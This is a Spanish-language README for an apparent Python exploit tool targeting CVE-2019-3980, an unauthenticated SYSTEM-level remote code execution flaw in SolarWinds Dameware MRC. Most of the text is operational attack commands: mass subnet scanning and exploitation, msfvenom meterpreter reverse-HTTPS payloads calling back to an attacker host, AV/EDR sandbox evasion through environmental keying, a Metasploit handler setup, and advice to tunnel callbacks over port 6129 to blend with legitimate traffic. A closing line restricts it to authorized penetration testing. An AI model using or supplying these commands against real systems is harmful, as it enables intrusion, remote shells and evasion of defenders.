
Python 3 exploit para CVE-2019-3980. RCE no autenticado como SYSTEM a través de la omisión de autenticación de tarjeta inteligente de SolarWinds Dameware MRC.

RCE no autenticado mediante omisión de autenticación de tarjeta inteligente en SolarWinds Dameware MRC
CVE-2019-3980 | CVSS 9.8 Crítico | TCP/6129 Investigación original y POC: Tenable, Inc. (TRA-2019-43) Herramienta Python 3: David Boyd (@Fir3d0g)
Dameware MRC expone un servicio de control remoto (DWRCS.exe) en TCP/6129. Durante el protocolo de autenticación de tarjeta inteligente, el servidor acepta un archivo controlado por el atacante como instalador de controladores de tarjeta inteligente (dwDrvInst.exe) y lo ejecuta como SYSTEM, sin requerir autenticación.
DameFlare implementa el protocolo completo de handshake (negociación de versión → derivación de clave AES → intercambio de claves Diffie-Hellman → firma RSA → carga del controlador) para entregar una carga útil arbitraria y lograr una ejecución remota de código sin autenticación.
| Producto | Vulnerable | Corregida |
|---|---|---|
| Dameware MRC 12.0.x | Todas las compilaciones | Hotfix 1 |
| Dameware MRC 12.1.x | Todas las compilaciones | Hotfix 3 |
git clone https://github.com/boydhacks/dameflare
cd dameflare
pip3 install -r requirements.txt
python3 dameflare.py -h
python3 dameflare.py -t 192.168.1.50 -e payload.exe
python3 dameflare.py -t 192.168.1.50 -e payload.exe -v
python3 dameflare.py -t 10.0.0.100 -e payload.exe -p 6130 -T 15
python3 dameflare.py -f vuln_hosts.txt -e payload.exe
python3 dameflare.py -f vuln_hosts.txt -e payload.exe --threads 5
python3 dameflare.py --scan -t 192.168.1.0/24
python3 dameflare.py --scan -t 192.168.1.0/24 -o vuln_hosts.txt --scan-threads 50
python3 dameflare.py --scan -f port6129.txt -o vuln_hosts.txt
python3 dameflare.py --scan -t 192.168.1.0/24 -o vuln_hosts.txt
python3 dameflare.py -f vuln_hosts.txt -e payload.exe --threads 5
Elimina el artefacto dwDrvInst.exe del objetivo después de la explotación:
python3 dameflare.py -t 192.168.1.50 --cleanup
python3 dameflare.py -f vuln_hosts.txt --cleanup
Requiere msfvenom en PATH. Carga un EXE autoeliminable que elimina dwDrvInst.exe y a sí mismo después de un breve retraso.
Alternativamente, si tienes credenciales, puedes usar algo como NXC:
nxc smb <target> -u <user> -p <pass> -x "del /f /q C:\Windows\Temp\dwDrvInst.exe"
msfvenom -p windows/x64/meterpreter_reverse_https LHOST=<ip> LPORT=443 EXITFUNC=thread -f raw -o payload.bin
msfvenom -p windows/meterpreter_reverse_https LHOST=<ip> LPORT=443 EXITFUNC=thread -f exe -o payload_x86.exe
msfvenom -p windows/x64/meterpreter_reverse_https LHOST=<ip> LPORT=443 EXITFUNC=thread -f exe -o payload_x64.exe
Envuelve el shellcode sin procesar con claves ambientales para evadir el análisis de sandbox de AV/EDR. El payload solo se descifrará y ejecutará en una máquina donde las claves coincidan. Un enorme agradecimiento a Kevin Clark (@GuhnooPlusLinux) por su increíble trabajo!
# Key on domain and hostname (use short names, not FQDN)
python3 ek47.py srdi-shellcode -p payload.bin -d <SHORT_DOMAIN> -c <HOSTNAME> -o payload_wrapped.exe
# Key on domain only
python3 ek47.py srdi-shellcode -p payload.bin -d <SHORT_DOMAIN> -o payload_wrapped.exe
# Static key only (useful for testing)
python3 ek47.py srdi-shellcode -p payload.bin -s 5 -o payload_wrapped.exe
# Alternative injection methods if srdi-shellcode is caught
python3 ek47.py dinvoke-shellcode -p payload.bin -d <SHORT_DOMAIN> -c <HOSTNAME> -o payload_wrapped.exe
python3 ek47.py noapi-shellcode -p payload.bin -d <SHORT_DOMAIN> -c <HOSTNAME> -o payload_wrapped.exe
msfvenom -p windows/x64/meterpreter_reverse_https LHOST=<ip> LPORT=6129 EXITFUNC=thread -f raw -o payload.bin
python3 ek47.py srdi-shellcode -p payload.bin -d CONTOSO -c WS01 -o payload_wrapped.exe
python3 dameflare.py -t <target> -e payload_wrapped.exe
sudo msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/x64/meterpreter_reverse_https; set LHOST <ip>; set LPORT 443; set ExitOnSession false; set StagerVerifySSLCert false; set EXITFUNC thread; exploit -j"
Nota: El nombre del payload debe coincidir exactamente entre msfvenom y el manejador:
- Sin etapa:
windows/x64/meterpreter_reverse_https(guion bajo)- Con etapas:
windows/x64/meterpreter/reverse_https(barra)
Consejo: En entornos Dameware, el puerto
6129a menudo está permitido saliente y se mezcla con el tráfico legítimo de DWRCS. Si443está bloqueado o inspeccionado por un proxy, pruebaLPORT=6129ya que la red objetivo probablemente fue diseñada para permitirlo.
Esta herramienta está destinada únicamente para su uso en pruebas de penetración autorizadas y operaciones de equipo rojo. El autor no asume ninguna responsabilidad por el uso no autorizado o ilegal.